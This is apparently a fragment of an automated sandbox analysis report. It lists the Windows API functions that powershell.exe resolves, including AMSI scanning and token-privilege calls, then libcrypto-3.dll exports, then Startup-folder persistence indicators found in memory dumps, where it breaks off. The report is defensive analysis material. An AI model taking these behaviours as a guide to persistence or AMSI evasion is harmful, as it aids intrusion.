"powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2A (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2 (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryAllFeatureConfigurations (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SystemParametersInfo (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SystemParametersInfoA (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountName (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter VkKeyScan (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter VkKeyScanA (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandleW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObject (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObjectW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnum (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnumW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_Initialize (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter MI_Application_InitializeV1 (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsNotShuttingDown (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_GetCurrentSecurityToken (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetComputerName (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetComputerNameW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_Initialize (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeInstanceCallback (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteMessageCallback (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteProgressCallback (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteErrorCallback (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativePromptUserCallback (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_SetupDrainingIfNeeded (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutput (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutputW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutput (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutputW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetThreadToken (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_ScheduleDrainingWorkIfNeeded (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_DecrementCount_AndDontWorryAboutLifetimeOfMiDotNetDll (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_GetInstance (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeStreamedParameterResultCallback (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsShuttingDown (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_SessionHandle_OnReleaseHandleCompleted (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_SetAppDomainIsUnloading (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_ScheduleCleanupCallback (UID: 00000000-00003640)4b:T903,"libcrypto-3.dll" contains export function called "ACCESS_DESCRIPTION_free" at ordinal 1 "libcrypto-3.dll" contains export function called "ACCESS_DESCRIPTION_it" at ordinal 2 "libcrypto-3.dll" contains export function called "ACCESS_DESCRIPTION_new" at ordinal 3 "libcrypto-3.dll" contains export function called "ADMISSIONS_free" at ordinal 4 "libcrypto-3.dll" contains export function called "ADMISSIONS_get0_admissionAuthority" at ordinal 5 "libcrypto-3.dll" contains export function called "ADMISSIONS_get0_namingAuthority" at ordinal 6 "libcrypto-3.dll" contains export function called "ADMISSIONS_get0_professionInfos" at ordinal 7 "libcrypto-3.dll" contains export function called "ADMISSIONS_it" at ordinal 8 "libcrypto-3.dll" contains export function called "ADMISSIONS_new" at ordinal 9 "libcrypto-3.dll" contains export function called "ADMISSIONS_set0_admissionAuthority" at ordinal 10 "libcrypto-3.dll" contains export function called "ADMISSIONS_set0_namingAuthority" at ordinal 11 "libcrypto-3.dll" contains export function called "ADMISSIONS_set0_professionInfos" at ordinal 12 "libcrypto-3.dll" contains export function called "ADMISSION_SYNTAX_free" at ordinal 13 "libcrypto-3.dll" contains export function called "ADMISSION_SYNTAX_get0_admissionAuthority" at ordinal 14 "libcrypto-3.dll" contains export function called "ADMISSION_SYNTAX_get0_contentsOfAdmissions" at ordinal 15 "libcrypto-3.dll" contains export function called "ADMISSION_SYNTAX_it" at ordinal 16 "libcrypto-3.dll" contains export function called "ADMISSION_SYNTAX_new" at ordinal 17 "libcrypto-3.dll" contains export function called "ADMISSION_SYNTAX_set0_admissionAuthority" at ordinal 18 "libcrypto-3.dll" contains export function called "ADMISSION_SYNTAX_set0_contentsOfAdmissions" at ordinal 19 "libcrypto-3.dll" contains export function called "AES_bi_ige_encrypt" at ordinal 20 "libcrypto-3.dll" contains export function called "AES_cbc_encrypt" at ordinal 21 "libcrypto-3.dll" contains export function called "AES_cfb128_encrypt" at ordinal 22 "libcrypto-3.dll" contains export function called "AES_cfb1_encrypt" at ordinal 23 "libcrypto-3.dll" contains export function called "AES_cfb8_encrypt" at ordinal 24 "libcrypto-3.dll" contains export function called "AES_decrypt" at ordinal 254c:T656,":\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup") in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup") in Source: 00000000-00002512.00000001.111136.00B70000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00002512.00000001.111136.03130000.00000004.mdmp "\Microsoft\Windows\Start Menu\Programs\Startup" (Indicator: "\microsoft\windows\start menu\programs\startup") in Source: 